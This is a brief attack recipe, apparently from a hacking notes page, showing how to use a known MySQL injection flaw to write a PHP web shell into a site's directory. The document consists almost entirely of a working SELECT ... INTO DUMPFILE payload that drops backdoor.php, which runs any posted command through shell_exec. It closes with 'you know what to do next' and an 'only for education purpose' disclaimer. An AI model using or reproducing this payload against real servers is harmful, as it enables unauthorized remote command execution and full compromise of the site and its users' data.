Sql injection – upload backdoor- mysql

-- conditions
-- we know the application directory
-- we know sql injection vulnerability in the app


SELECT _utf8 '<form method="post"><input name="cmd"/><input type="button" value="cmd"/></form><?php echo "<pre>"; echo shell_exec($_POST["cmd"]); echo "</pre>" ?>'INTO DUMPFILE  '/taget_page_dir/backdoor.php'

you know what to do next

— only for education purpose